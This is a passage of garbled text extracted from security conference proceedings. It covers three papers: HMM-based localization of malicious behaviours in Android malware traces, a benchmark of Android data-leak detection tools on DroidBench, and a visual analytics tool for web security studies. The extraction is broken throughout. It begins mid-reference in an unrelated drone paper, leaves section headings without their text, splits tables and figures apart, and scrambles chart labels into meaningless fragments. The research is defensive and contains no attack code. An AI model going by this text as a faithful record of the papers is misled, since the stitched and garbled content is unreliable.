ciated with Unmanned Aircraft Systems (2016). http://www.agcs.allianz.com/
assets/PDFs/Reports/AGCS Rise of the drones report.pdf
2. Oscar Liang: RC TX RX Protocols Explained: PWM, PPM, SBUS, DSM2,
DSMX, SUMD (2015). https://oscarliang.com/pwm-ppm-sbus-dsm2-dsmx-sumd-
difference/
Security Analysis of Drone Communication Protocols 107
1 Introduction
2 Preliminaries
To the best of our knowledge, the majority of efforts to localize (or extract) mali-
cious segments from Android malware (e.g., [3,5,9,10]), rely on static analysis
of Android apps, which might be countered via techniques such as code obfus-
cation, dynamic code loading, encryption, etc. [6]. Regardless of the techniques
employed by malware instances to conceal their payloads from static analysis
techniques, such payloads will ultimately execute and reveal themselves in rep-
resentations of the apps’ runtime behaviors (e.g., API call traces). Consequently,
we focus on the runtime behaviors, particularly API call traces, of apps as our
source of information about the apps’ intentions.
As discussed earlier, in current Android malware, benign and malicious seg-
ments might be intertwined, which will also manifest in their runtime behaviors.
That is to say, API traces of Android malware are expected to comprise calls
issued by the benign segments of the apps along with calls issued by their mali-
cious counterparts. We refer to API calls issued by an app’s benign segments and
malicious segments as benign behaviors and malicious behaviors, respectively.
There are two main problems with automatically localizing malicious behav-
iors from API call traces. Firstly, given the increasing utilization of triggers
in Android malware, we cannot guarantee that the malicious behaviors have
already been executed and, hence, are present in an app’s API call trace. Sec-
ondly, assuming that a given API call trace contains malicious behaviors, we do
not know which parts of the trace resemble such behaviors.
The former problem is, in fact, that of stimulating an Android app and
monitoring its runtime behavior, which is out of this paper’s scope. Consequently,
our solution assumes that malicious apps have been thoroughly stimulated, and
their corresponding API call traces indeed contains the malicious behaviors they
withhold.
To address the latter problem–which is the one the paper attempts to solve–
we build our solution on the following assumptions:
3 Implementation
(3.1.b)
Detection
Inject Injected +
Malicious malicious Malicious Localization
Behaviors behaviors Behaviors Accuracies
We refer to this log likelihood decision boundary as threshold (τ ). In this case, the
lower the threshold (τ ) (i.e., larger negative numbers), the lower the probability
P (T |Ω), the more likely it is for the trace (T ) to be malicious.
Lastly, the length of a test trace affects the calculated log likelihood, primarily
since it results in more multiplications that occur to calculate P (T |Ω). Given
that different apps might yield API call traces of different lengths, we limit the
length of all test traces during the classification phase to a maximum value (λ).
3.3 Localization
4 Evaluation
To evaluate the feasibility of our proposed method, we ran the process in Fig. 1
25 times on a dataset of 1882 API call traces representing the runtime behav-
iors of benign Android apps we downloaded from the Google Play store. The
collected apps were chosen randomly to represent different app categories. To
obtain app traces, we deployed each app on an Android virtual device and inter-
acted with it for 60 s using a random-based UI manipulation tool we developed,
called Droidutan [1]. The API calls issued by each app were kept track of using
droidmon [2].
To have a comprehensive view of how our method performs under different
circumstances, we varied the insertion probability (p) to 0.1, 0.25, 0.5, and 0.75,
the classification threshold (τ ) to −100, −250, −500, −750, and −1000, and the
maximum trace length (λ) to 50, 100, 200, and 300 API calls.
Table 1 contains the average classification accuracies achieved by (Ω) on the
test traces after 25 runs with different values for (p), (τ ), and (λ) (i.e., step
3.2.b). As discussed earlier, classification is considered the first step of localizing
malicious behaviors. Low classification accuracies imply that malicious traces
are classified as benign and vice versa. Consequently, the localization phase will
operate on misclassified traces, ultimately yielding incorrect malicious behaviors.
Idea: Automatic Localization of Malicious Behaviors in Android Malware 113
Table 1. Detection test accuracies of achieved using the HMM classifier (Ω) using
different insertion probabilities (p), thresholds (τ ), and trace lengths (λ).
behaviors and the ground truth were achieved at λ = 300. We argue that with (λ)
values of 50, 100, and 200, the traces will be halved until two traces of length two
and three will be left. Since we only consider API call blocks of length three, this
increases the likelihood of localizing the exact behavior inserted into the trace.
However, with λ = 300, the algorithm might wind up with blocks of length three
and four. If the malicious behavior dwells in the latter block, there will always
be a difference of one API call.
2.5
2.5
2.0
2.0
1.5
1.5
50
0
0
10
20
30
10
20
30
(a) p = 0.1 (b) p = 0.25
3.5
2.5
3.0
2.0 2.5
2.0
1.5
1.5
1.0
Behavior 1 1.0 Behavior 1
Behavior 2 Behavior 2
0.5 Behavior 3 0.5 Behavior 3
Behavior 4 Behavior 4
Behavior 5 Behavior 5
0.0
50
50
0
0
10
20
30
10
20
30
Fig. 2. The average (after 25 runs) differences (Y-axis) in API calls between the
injected behaviors and the ones localized in step (3.3) with different insertion proba-
bilities (p) and trace lengths (λ) (X-axis).
References
1. Droidutan. https://github.com/aleisalem/Droidutan
2. Droidmon. https://github.com/idanr1986/droidmon
3. Li, L., Li, D., Bissyande, T.F., Klein, J., Cai, H., Lo, D., Le Traon, Y.: Automati-
cally locating malicious packages in piggybacked android apps. In: Proceedings of
the 2017 IEEE/ACM 4th International Conference on Mobile Software Engineering
and Systems, MOBILESoft 2017, pp. 170–174 (2017)
4. Li, L., Li, D., Bissyande, T., Klein, J., Le Traon, Y., Lo, D., Cavallaro, L.: Under-
standing android app piggybacking: a systematic study of malicious code grafting.
IEEE Trans. Inf. Forensics Secur. 12, 1269–1284 (2017)
5. Pan, X., Wang, X., Duan, Y., Wang, X., Yin, H.: Dark hazard: learning-based,
large-scale discovery of hidden sensitive operations in android apps. In: Proceedings
of Network and Distributed System Security Symposium, NDSS 2017, (2017)
6. Rasthofer, S., Arzt, S., Triller, S., Pradel, M.: Making malory behave maliciously:
targeted fuzzing of android execution environments. In: 2017 IEEE/ACM 39th
International Conference on Software Engineering, ICSE 2017, pp. 300–311 (2017)
7. Wei, F., Li, Y., Roy, S., Ou, X., Zhou, W.: Deep ground truth analysis of current
android malware. In: Polychronakis, M., Meier, M. (eds.) DIMVA 2017. LNCS,
vol. 10327, pp. 252–276. Springer, Cham (2017). https://doi.org/10.1007/978-3-
319-60876-1 12
8. Wong, W., Stamp, M.: Hunting for metamorphic engines. J. Comput. Virol. 2,
211–229 (2006)
9. Yang, C., Xu, Z., Gu, G., Yegneswaran, V., Porras, P.: DroidMiner: automated
mining and characterization of fine-grained malicious behaviors in android appli-
cations. In: Kutylowski, M., Vaidya, J. (eds.) ESORICS 2014. LNCS, vol. 8712, pp.
163–182. Springer, Cham (2014). https://doi.org/10.1007/978-3-319-11203-9 10
10. Zheng, M., Sun, M., Lui, J.: Droid analytics: a signature based analytic system
to collect, extract, analyze and associate android malware. In: Proceedings of the
12th IEEE International Conference on Trust, Security and Privacy in Computing
and Communications. TrustCom 2013, pp. 163–171 (2013)
Idea: Benchmarking Android Data Leak
Detection Tools
1 Introduction
Anecdotal evidence from other domains led us to believe that artefacts and
tools presented in research papers are rarely available online or by other means.
c Springer International Publishing AG, part of Springer Nature 2018
M. Payer et al. (Eds.): ESSoS 2018, LNCS 10953, pp. 116–123, 2018.
https://doi.org/10.1007/978-3-319-94496-8_9
Idea: Benchmarking Android Data Leak Detection Tools 117
2 Related Work
There exists a wide range of related work. While a thorough discussion goes
beyond the scope of this idea paper, we list those most relevant to our research.
Android Security Analysis Literature. Our literature review was mostly focused
on works mentioned in the following taxonomies.
Sadeghi et al. present a large-scale overview of Android security analysis in
general [3]. In particular, we used their categorization of security problems as
starting point for our work [3, p. 12, Table 3]. Similarly, Sufatrio et al. published
a taxonomy on Android analysis tools [5], as did Reaves et al. [2]. Gadient et al.
have studied the prevalence of security issues in Android applications, including
data leak vulnerabilities [6,7], and confirm that such issues are in fact common
among Android applications.
Comparing Software Artefacts. In 2016, Amann et al. have analysed artefacts for
detecting application programming interface (API) misuse violations [8]. Their
approach is similar to ours in that they developed a framework for comparing
such tools.
DroidBench1 is a benchmark for evaluating analysis tools. Because vulnera-
bilities are documented in these applications, they are well-suited for the quali-
tative analysis we present in this work.
The work by Reaves et al. comes closest to ours. In their study, they use
DroidBench to analyse results obtained from a set of seven Android analysis
tools [2]. However, the only one in common with our set is FlowDroid. In contrast
to our work, the evaluation lacks a comparison of tools amongst each other.
1. review the paper, look for links or directions on how to obtain the artefact,
2. search online with contemporary search engines for the artefact, and
3. contact the authors and inquire whether the tool is available or can be made
available to us (at most two requests by email).
4 Benchmark Implementation
To easily compare the selected tools, we implemented a Java benchmark suite
that allows us to collect results from individual tools. The benchmark then parses
each tool’s results and creates standardised reports and consolidates results,
which allows us to easily review the reports, compare tools, and perform statis-
tical analyses.
The implementation is straightforward. Pairs of runners and parsers corre-
spond to individual tools. Runners handle setting up the tool environment and
executing it accordingly, while parsers read and interpret the output for further
(consolidated) processing.
To include a tool in the benchmark, one has to do the following. First one
needs to set up the tool so that it can be executed from the command-line, and
the output is stored on the file system. Second, one has to provide a runner in
the benchmark that specifies how the artefact is executed (by implementing a
single Java interface that provides information such as where resulting files and
logs are stored), and third, provide a parser that creates reports (i.e., objects
holding information about a reported data leak).
The benchmark can be executed on a given Android application binary. Then,
all relevant tool output files are collected and consolidated reports are generated.
For each detected vulnerability, we list the class and method in which the leak
happens, and the actual sink where the leak happens, as well as the analysis
tools that detected the vulnerability.
An important aspect of implementing such a benchmark is extensibility. With
a simple way to add additional tools—by implementing a runner for executing
the tool on a given target application and a parser for obtaining the generated
output—it is straightforward to obtain fresh results with a set of tools. This
allows users to compare several tools on a level playing field. Furthermore, pub-
lishing the tools and their corresponding runners and parsers simplifies future
evaluation and reproduction of results.
The benchmark and data are available online2 .
5 Experimental Setup
To answer the research questions, we use our benchmark to execute the five tools
IccTA, IC3 (Epicc), HornDroid, FlowDroid, and COVERT.
For a fair comparison, one needs to make sure that the tools use the same
lists of sources and sinks. Here, we use the SuSi tool [14] to obtain such a list.
We then configure all tools to use, where applicable, the same (i) sources and
sinks list, as generated by SuSi, (ii) callback list, (iii) android.jar (API level 23),
and (iv) apktool.jar (2.3.1).
As many others in recent research into Android security analysis, we use
the set of programs provided in DroidBench for our analysis. We decided to
2
https://github.com/ccorrodi/android data leak detection.
120 C. Corrodi et al.
6 Results
Executing the analyses results in 269 distinct reports from the tools. We reviewed
all reports manually and determined for each report whether it matches a vul-
nerability described in DroidBench and which tools are reporting it.
Table 1 summarises our results. What is striking is the poor performance of
IC3, which reports 41 data leaks, of which only 4 are true positives. Furthermore,
we note that COVERT and IC3 only produce 11 and 41 reports respectively, a
far cry from what the other tools report.
Idea: Benchmarking Android Data Leak Detection Tools 121
Table 3. χ2 -values from McNemar’s test for each pair of tools. Bold indicates a sta-
tistically significant difference.
Table 2 shows accuracy, precision, and recall for each tool. Here, recall is of
particular interest, as it only includes DroidBench vulnerabilities in the calcula-
tion. We observe that both FlowDroid and HornDroid perform equally well on
the dataset, reporting almost 80% of the vulnerabilities. However, as we will see
below, the sets of reported issues do not match completely.
Both IC3 and COVERT distinguish themselves from the other artefacts in
that they report very few leaks. Unfortunately, this does not result in better
accuracy or recall. The precision of COVERT, however, is high; 8 out of 11
reports are true positives.
It is worth to note that 113 of the 125 DroidBench vulnerabilities—or
90.4%—are reported by at least one tool. We think that this is surprisingly high,
considering the wide variety of applications and vulnerability characteristics.
Next, we investigate how the performances of two tools relate to each other.
We apply McNemar’s Test [15] to obtain a measure that expresses similarities
between two detectors.
A χ2 value above χ21,0.01 = 6.635 (which corresponds to a confidence interval
of 99%) indicates that there is a statistically significant difference between the
performances of the two classifiers. Otherwise, the null hypothesis (i.e., that two
tools perform equally well) holds with a probability of at least 99%.
Table 3 summarises the findings. Bold values indicate places where a statis-
tically significant difference between two tools has been observed.
Most pairs of tools report different sets of leaks with a statistically signifi-
cant difference. As McNemar’s Test exclusively considers the cases where tools
disagree, this means that for each pair, one tool is wrong more frequently than
the other. However, according to the underlying raw data, there is no tool that
performs clearly better than all others.
FlowDroid is less often wrong than any other tool. However, it is important
to note that FlowDroid and IccTA perform very similarly; they disagree in only
13 cases. This is reflected in Table 3, as the corresponding χ2 value indicates
that there is no statistically significant difference in performance of the tools.
Similarly, the χ2 value between HornDroid and IccTA is below the threshold.
As an odd occurrence, COVERT and HornDroid also exhibit a very low χ2
value. This happens even though the two tools report vastly different sets, as
evident in Table 1. In this case, McNemar’s test may not be best suited, as it
only considers the difference of the disagreeing reports, which, in this case, is
122 C. Corrodi et al.
7 Threats to Validity
The benchmark we implemented may contain bugs that directly influence the
results. To mitigate this threat, we implemented unit tests during development,
and manually verified the generated output on a regular basis.
There may be vulnerabilities in the synthetic applications of DroidBench that
are not reported as such. This may influence precision and recall of the tools.
To mitigate this thread, we manually reviewed potential false positives (without
finding any true positive vulnerabilities not documented by DroidBench).
Both DroidBench and FlowDroid originate from the same research group, so
it may be possible that there is a selection bias that favours FlowDroid.
It is possible that we have made mistakes in configuring some of the tools
that we tested. We mitigate this threat by only making minimal changes to a
tool’s configuration. Whenever possible, we use the tools as distributed.
Finally, the different publication years suggest that the original authors likely
did not work with the same target Android version. Our choice to normalise
configurations, in particular using the same sources, sinks, and Android version,
may thus influence the results. Nevertheless, we argue that the threat is minimal,
and that using the same configuration for the tools is a sensible choice.
References
1. Egele, M., Scholte, T., Kirda, E., Kruegel, C.: A survey on automated dynamic
malware-analysis techniques and tools. ACM Comput. Surv. (CSUR) 44(2), 6:1–
6:42 (2008)
2. Reaves, B., Bowers, J., Gorski III, S.A., Anise, O., Bobhate, R., Cho, R., Das, H.,
Hussain, S., Karachiwala, H., Scaife, N., Wright, B., Butler, K., Enck, W., Traynor,
P.: *Droid: assessment and evaluation of Android application analysis tools. ACM
Comput. Surv. 49(3), 55:1–55:30 (2016)
3. Sadeghi, A., Bagheri, H., Garcia, J., Malek, S.: A taxonomy and qualitative com-
parison of program analysis techniques for security assessment of Android software.
IEEE Trans. Softw. Eng. 43(6), 492–530 (2017)
4. Tam, K., Feizollah, A., Anuar, N.B., Salleh, R., Cavallaro, L.: The evolution of
Android malware and Android analysis techniques. ACM Comput. Surv. 49(4),
76:1–76:41 (2017)
5. Sufatrio, Tan, D.J.J., Chua, T.-W., Thing, V.L.L.: Securing Android: a survey,
taxonomy, and challenges. ACM Comput. Surv. 47(4), 58:1–58:45 (2015). https://
doi.org/10.1145/2733306. Article no. 58
6. Gadient, P.: Security in Android applications. Masters thesis. University of Bern,
August 2017
7. Ghafari, M., Gadient, P., Nierstrasz, O.: Security smells in Android. In: 17th
IEEE International Working Conference on Source Code Analysis and Manipu-
lation (SCAM), pp. 121–130, September 2017
8. Amann, S., Nadi, S., Nguyen, H.A., Nguyen, T.N., Mezini, M.: MUBench: a bench-
mark for API-misuse detectors. In: 2016 IEEE/ACM 13th Working Conference on
Mining Software Repositories (MSR), pp. 464–467 (2016)
9. Arzt, S., Rasthofer, S., Fritz, C., Bodden, E., Bartel, A., Klein, J., Le Traon, Y.,
Octeau, D., McDaniel, P.: Flowdroid: precise context, flow, field, object-sensitive
and lifecycle-aware taint analysis for Android apps. SIGPLAN Notices, vol. 49, no.
6, pp. 259–269 (2014)
10. Calzavara, S., Grishchenko, I., Maffei, M.: Horndroid: practical and sound static
analysis of Android applications by SMT solving. In: 2016 IEEE European Sym-
posium on Security and Privacy (EuroS&P), pp. 47–62, March 2016
11. Li, L., Bartel, A., Bissyandé, T.F., Klein, J., Traon, Y.L., Arzt, S., Rasthofer, S.,
Bodden, E., Octeau, D., McDaniel, P.: IccTA: detecting inter-component privacy
leaks in Android apps. In: 2015 IEEE/ACM 37th IEEE International Conference
on Software Engineering - Volume 1, pp. 280–291 (2015)
12. Octeau, D., McDaniel, P., Jha, S., Bartel, A., Bodden, E., Klein, J., Le Traon,
Y.: Effective inter-component communication mapping in Android with Epicc: an
essential step towards holistic security analysis (2013)
13. Bagheri, H., Sadeghi, A., Garcia, J., Malek, S.: Covert: compositional analysis of
Android inter-app permission leakage. IEEE Trans. Softw. Eng. 41(9), 866–886
(2015)
14. Bu, W., Xue, M., Xu, L., Zhou, Y., Tang, Z., Xie, T.: When program analysis meets
mobile security: an industrial study of misusing Android internet sockets. In: Pro-
ceedings of the 2017 11th Joint Meeting on Foundations of Software Engineering,
ESEC/FSE 2017, pp. 842–847. ACM (2017)
15. McNemar, Q.: Note on the sampling error of the difference between correlated
proportions or percentages. Psychometrika 12(2), 153–157 (1947)
Idea: Visual Analytics for Web Security
1 Introduction
Cyber attacks, data breaches and other forms of cybercrime are increasingly
common on the Internet today, making an ever larger impact on our society and
economy. To maintain the security of the web in the light of these incidents, the
ecosystems of security practices and illicit operations warrant extensive analysis,
in order to obtain an overview and gather valuable insights, which ultimately
allows for creating better defenses. A variety of large-scale web security observa-
tions have been performed for that purpose [1,2,5,19]. However, while compre-
hensive reusable solutions have been developed for data collection [4,5], there
are no such solutions for the subsequent analysis phase.
Open-source releases of data analysis code from recent web security stud-
ies [1,2] show that current practices for data analysis remain ad hoc and largely
underdeveloped. This leads to duplicated efforts, and as analysis tasks may be
labor-intensive, they take up time that researchers could use instead to focus
on the security issues themselves. However, researchers have no choice but to
develop custom solutions, as no comprehensive solution for data analysis spe-
cific to web security studies exists in the literature up to date. Creating such
a general, reusable and performant framework would allow researchers to gain
better insights into their large-scale data and expedite their research, ultimately
leading to them being able to investigate and respond to more phenomena at a
faster pace.
c Springer International Publishing AG, part of Springer Nature 2018
M. Payer et al. (Eds.): ESSoS 2018, LNCS 10953, pp. 124–132, 2018.
https://doi.org/10.1007/978-3-319-94496-8_10
Idea: Visual Analytics for Web Security 125
Fig. 1. The pipeline of a visual analytics approach to data analysis for web security,
with below each stage the challenge it addresses.
2 Motivation
In order to gather correct and comprehensive insights from the large data sets
that are collected for web security studies, it is important that the analysis
process used can cope with the scale and diversity of that data. We discuss how
visual analytics applications would be appropriate for this analysis, taking into
account the specific characteristics of web security data.
Nowadays, web security studies routinely measure data for a large section
of the Internet: Amann et al. [1] covered 193 million domains in their study of
the HTTPS ecosystem, Englehardt and Narayanan [5] mapped online tracking
through 90 million requests originating from one million websites, and Durumeric
et al. [4] set up Censys for access to regular snapshots of the IPv4 address space.
Through visualization, these large amounts of data can be represented within
a single view, e.g. using aggregation. The visual representation makes it easier
126 V. Le Pochat et al.
to discover global patterns and detect outliers, which are often interesting data
points from a security perspective. Interactive operations can then allow zooming
into the interesting parts of the data to study them in more detail and determine
whether they have some special properties. Alternative or domain-specific repre-
sentations of the data can provide additional insights: displaying server location
data on a map may reveal geographical distributions, while plotting the IPv4
address space on a Hilbert curve [9] uncovers patterns in adjacent subnets.
The studies usually entail collecting different kinds of data and searching
relations among them and with other data sets. Amann et al. [1] determined
the correlation between the application of several security mechanisms related
to TLS, while Vissers et al. [19] determined the distribution of sites with cloud-
based security across the Alexa top 1 million websites. Multiple data sets can be
explored simultaneously by placing their visual representations on a dashboard.
By providing interactive combination of data sets, it is not necessary to consider
possible correlations upfront: instead, hypotheses based on the patterns and
insights found while exploring the data can immediately be tested by linking
relevant data sets. Moreover, other data sets, including publicly available ones,
could be imported to further augment the data that was collected. Interactions
for making selections and synchronizing them across data sets allow for changes
made in a certain view to automatically affect the visible data in other charts.
These examples show how visual analytics methods can be used in web secu-
rity studies to support common analysis tasks, in order to speed up and enhance
insight gathering and scale up the breadth of the studies. This helps researchers
to have a more complete overview of web security ecosystems.
3 Case Study
1
https://s3.amazonaws.com/alexa-static/top-1m.csv.zip.
Idea: Visual Analytics for Web Security 127
600,000
500,000
400,000
300,000
200,000
100,000
0
go clic om
ub pi om
t
fa oo .com
sy gs oo om
ic tic et
go n.c m
og om
og gm tw dn e
ad n r. t
ot rv r.c m
ra s m
ad dn. m
am yo nxs om
cl ona e.c m
ou w om
ou re m
ya nt. m
ex t
.ru
ce le e
le a itte .ne
nd ne
c b
fa og k.n
nd ta k.n
io o
bo se age co
st ice o
o
az utu .co
cl fla .co
ro o
fb le.
le s.c
do lea s.c
at .c
pc .c
c
df .c
ce k.
d s
og ytic
b
b
b
go nal
-a
le
go leta
og
le
og
og
go
go
go
Fig. 2. A visualization of the third parties that are most included in Alexa’s top 1
million sites.
or dragging) we could select e.g. only the top 100 000 sites. However, we want to
collect data for all sites so we do not change the view. In a separate chart, we
load the data set for the inclusions per domain. No crawling has occurred yet,
so the data set and therefore the chart are empty for now.
Based on the shared domain data type, the tool knows that the two data sets
are compatible. This, together with the link between the inclusions data and the
crawler, allows us to interactively select and queue the one million sites from the
Alexa data set, for which the crawler will collect and store the requested data.
We analyze the data with our tool once the crawling operation has completed,
but could check on a preliminary distribution while it is ongoing. We load the
inclusions data set into a new chart. Based on the domain data type, the tool
automatically chooses a bar chart that displays the (sorted) aggregate number
of sites that include a certain third party. Figure 2 shows the generated chart,
replicating the original chart [5, Fig. 2].
By comparing both charts, we can see how tracking practices have changed
in the 15 months between the original crawl and ours. In general, inclusions
have decreased for the most popular sites. Google domains still serve the most
included resources, with Google Analytics as the top domain. The top 10 has
not changed much (differences are due to the merged googleapis.com and a
localized Google domain), but in the next 10 we see more movement, with CDNs
pushing out trackers such as BlueKai and MathTag. The visual representation
of the data makes it easier to detect these patterns and changes.
We can continue exploring the data to obtain further insights: we can request
more detailed data, the domains can be filtered or used as a filter with another
chart to study additional properties, and distributions or correlations can be
checked through combination with another data set.
128 V. Le Pochat et al.
Fig. 3. The interface of the prototype visualization client, with a dashboard allowing to
select data sets (1) and explore them simultaneously. The data set on the left is filtered
on the items visible in the top right chart (2), where two data sets on the same set of
items are combined (3). The bottom right chart shows data that has been interactively
obtained using a crawler (4).
For their analyses, Englehardt and Narayanan created the OpenWPM plat-
form [5], designed to simplify and automate data acquisition for web privacy
studies. Our approach is complementary, as it provides interactive visual anal-
ysis of the obtained data, with both processes being linked in the visualization
client. Moreover, the platform’s crawls can be interactively launched and man-
aged, which makes replicating studies straightforward (even periodically).
4 Design Evaluation
We implemented a prototype visualization tool, shown in Fig. 3, based on the
design in our prior work [11] addressing the challenges we identified for bringing
visual analytics to web security. We perform an initial evaluation of the prototype
on three different aspects, which form proxies for evaluating utility and usability.
More functionality makes a tool applicable to more use cases. For performance,
a more responsive tool does not interrupt the train of thought. For productivity,
requiring less effort to visualize data leads to more fluent exploration.
4.1 Functionality
We evaluate our tool’s functionality using four criteria obtained from the sur-
veys of open-source and commercial visual analytics systems by Harger and
Crossno [8] and Zhang et al. [22] respectively: (1) data source support, (2) visu-
alization and interaction techniques, (3) data analysis methods and (4) system
architecture.
We hide the heterogeneity of data sources used in web security through a
transformation into standardized records. This allows us to support displaying
Idea: Visual Analytics for Web Security 129
individual data sets from any data source. Two data sets of the same source can
be combined interactively, however, supporting the composition of multiple data
sets across sources is not yet supported. This would require a more complex data
retrieval setup since data can no longer be combined at the database level.
The charts we add follow best practices from information visualization [17], in
order to ensure correct interpretation of the data without requiring visualization
expertise. Web security data comprises multiple data types, and currently our
charts can display numerical and geospatial data. Graph and temporal data are
currently unsupported, but our modular approach to charts simplifies extending
the tool with appropriate visualizations. As for interaction, we support filtering
and zooming to study data both as an overview and in depth [15], as well as
linking and brushing [21] to enable synchronization of selections across data sets.
We have not yet added any interactive data analysis, such as statistical mea-
sures or data mining algorithms. These analyses would be interactively applied
in the client but executed on the server, as the calculations need to be performed
before aggregating the data.
We implement our tool using the client-server model, which places the burden
of retrieval and processing of the raw large-scale data on the server. This reduces
the processing power needed on the client and allows it to be web-based and
therefore accessible across devices and platforms.
4.2 Performance
We focus our performance evaluation on how well the process scales with data
sets of increasing size, as web security studies often yield large amounts of data.
To achieve better scalability, we integrate default aggregation into our design,
and we only request non-aggregated records upon explicit selection. We evaluate
two performance aspects: the time needed to answer a data request, as this
affects the responsiveness of our tool and therefore the exploration process [12],
and the size of the resulting data, which affects the processing speed and transfer
time. We test on data sets of 0.1, 1 or 10 million randomly generated items with
attributes of either 100, 1,000 or 10,000 possible values.
For both the aggregated and non-aggregated approach, the time needed to
retrieve the whole data set scales linearly with the size of the data set. However,
the request for aggregated data is answered around ten times faster, leading
to better responsiveness for larger data. Regarding the size of the response,
aggregated data scales with the number of bins, but non-aggregated data scales
with the size of the data set. For our test set, the latter yields a document that
is at least six orders of magnitude larger.
4.3 Productivity
While visual interfaces are known to speed up analysis of cyber security data [7],
analysts may avoid the process of creating visualizations due to it being difficult
and labor-intensive [6]. We reduce this effort through automation of two phases:
setting up the transformation of data sets to standardized records and selecting
130 V. Le Pochat et al.
appropriate charts based on the data type. We evaluate the complexity of our
visualization tool by repeating analyses using the original data from a study by
Vissers et al. [18] on the parked domains ecosystem.
Data sets are transformed by executing code that describes data access and
parsing. This code can be custom developed, which for a transformation to aggre-
gated data requires 29 logical lines using the methodology of Nguyen et al. [13];
in total there are 28 such transformations. Automatically generating this code
requires less configuration: for an SQL database 8 parameters are sufficient.
To quantify the effort of visualizing and exploring data, we estimate the
number of actions and time needed using the Keystroke-Level Model [3]. Creating
a new chart takes 4.0 s for four operations. Applying an operation to a chart
(e.g. combining two data sets) takes 6.6 s for six operations. Combining these
tasks into an analysis where two data sets are loaded, a selection is made in one
chart and that selection is then applied to the other chart, takes 17 s.
Our evaluation shows that several design elements have a positive impact on
the three evaluated aspects and therefore on utility and usability: abstracting
over data sources expands functionality, aggregation improves responsiveness
and automation reduces the visualization effort. Opportunities for further devel-
opment lie in additional data processing and analysis functionality as well as
further simplification of the visualization process.
In order to formally evaluate the utility and usability of our tool, we plan to
validate it through a user study with web security researchers and analysts. This
validation will allow us to more conclusively determine if our visual analytics
approach is an adequate solution for enhancing their analysis workflow.
5 Conclusion
Through an overview of common analyses in web security studies and the devel-
opment of a case study, we demonstrate how visual analytics can be advantageous
for analyzing and extracting insights from the vast amounts of web security data
generated and publicly available. However, domain-specific challenges need to be
addressed in order to develop a useful and usable solution. Through an initial
evaluation of a prototype tool, we show that techniques such as data abstrac-
tion, aggregation and automated visualization effectively tackle these challenges
to enhance the exploration and interpretation of large web security data sets.
In the future, we plan to make our visualization tool available to the wider
communities of researchers and analysts, as a platform for stimulating collabora-
tion through shared data sets and analyses. In combination with easier (periodic)
replication of previous studies, this opens up even more possibilities to analyze
ecosystems and test hypotheses using the wealth of available data.
References
1. Amann, J., Gasser, O., Scheitle, Q., Brent, L., Carle, G., Holz, R.: Mission accom-
plished?: HTTPS security after DigiNotar. In: Proceedings of the IMC, pp. 325–340
(2017)
2. Cangialosi, F., Chung, T., Choffnes, D., Levin, D., Maggs, B.M., Mislove, A., Wil-
son, C.: Measurement and analysis of private key sharing in the HTTPS ecosystem.
In: Proceedings of the CCS, pp. 628–640 (2016)
3. Card, S.K., Moran, T.P., Newell, A.: The Psychology of Human-Computer Inter-
action. Lawrence Erlbaum Associates, Mahwah (1983)
4. Durumeric, Z., Adrian, D., Mirian, A., Bailey, M., Halderman, J.A.: A search
engine backed by internet-wide scanning. In: Proceedings of the CCS, pp. 542–553
(2015)
5. Englehardt, S., Narayanan, A.: Online tracking: a 1-million-site measurement and
analysis. In: Proceedings of the CCS, pp. 1388–1401 (2016)
6. Fink, G.A., North, C.L., Endert, A., Rose, S.: Visualizing cyber security: usable
workspaces. In: Proceedings of the VizSec, pp. 45–56 (2009)
7. Goodall, J.R.: Visualization is better! A comparative evaluation. In: Proceedings
of the VizSec, pp. 57–68. IEEE (2009)
8. Harger, J.R., Crossno, P.J.: Comparison of open-source visual analytics toolkits.
In: Proceedings of the VDA. SPIE (2012)
9. Irwin, B., Pilkington, N.: High level Internet scale traffic visualization using Hilbert
curve mapping. In: Goodall, J.R., Conti, G., Ma, K.L. (eds.) VizSEC 2007. Math-
ematics and Visualization, pp. 147–158. Springer, Heidelberg (2008). https://doi.
org/10.1007/978-3-540-78243-8 10
10. Keim, D.A.: Visual exploration of large data sets. Commun. ACM 44(8), 38–44
(2001)
11. Le Pochat, V., Van Goethem, T., Joosen, W.: Towards visual analytics for web
security data. In: Proceedings of the PAM (Posters) (2018). Extended abstract.
https://lirias.kuleuven.be/handle/123456789/618030
12. Liu, Z., Heer, J.: The effects of interactive latency on exploratory visual analysis.
IEEE Trans. Vis. Comput. Graph. 20(12), 2122–2131 (2014)
13. Nguyen, V., Deeds-Rubin, S., Tan, T., Boehm, B.: A SLOC counting stan-
dard. In: Proceedings of the COCOMO. USC CSSE (2007). http://csse.usc.edu/
TECHRPTS/2007/usc-csse-2007-737/usc-csse-2007-737.pdf
14. Shiravi, H., Shiravi, A., Ghorbani, A.A.: A survey of visualization systems for
network security. IEEE Trans. Vis. Comput. Graph. 18(8), 1313–1329 (2012)
15. Shneiderman, B.: The eyes have it: a task by data type taxonomy for information
visualizations. In: Proceedings of the VL, pp. 336–343 (1996)
16. Thomas, J.J., Cook, K.A. (eds.): Illuminating the Path: The Research and Devel-
opment Agenda for Visual Analytics. IEEE Computer Society Press, Washington
(2005)
17. Tufte, E.R.: The Visual Display of Quantitative Information. Graphics Press,
Cheshire (1983)
18. Vissers, T., Joosen, W., Nikiforakis, N.: Parking sensors: analyzing and detecting
parked domains. In: Proceedings of the NDSS. Internet Society (2015)
19. Vissers, T., Van Goethem, T., Joosen, W., Nikiforakis, N.: Maneuvering around
clouds: bypassing cloud-based security providers. In: Proceedings of the CCS, pp.
1530–1541 (2015)
132 V. Le Pochat et al.
20. Wagner, M., Fischer, F., Luh, R., Haberson, A., Rind, A., Keim, D.A., Aigner,
W.: A survey of visualization systems for malware analysis. In: Proceedings of the
EuroVis - STARs, pp. 105–125. Eurographics Assoc. (2015)
21. Ward, M.O.: Linking and brushing. In: Liu, L., Özsu, M.T. (eds.) Encyclopedia of
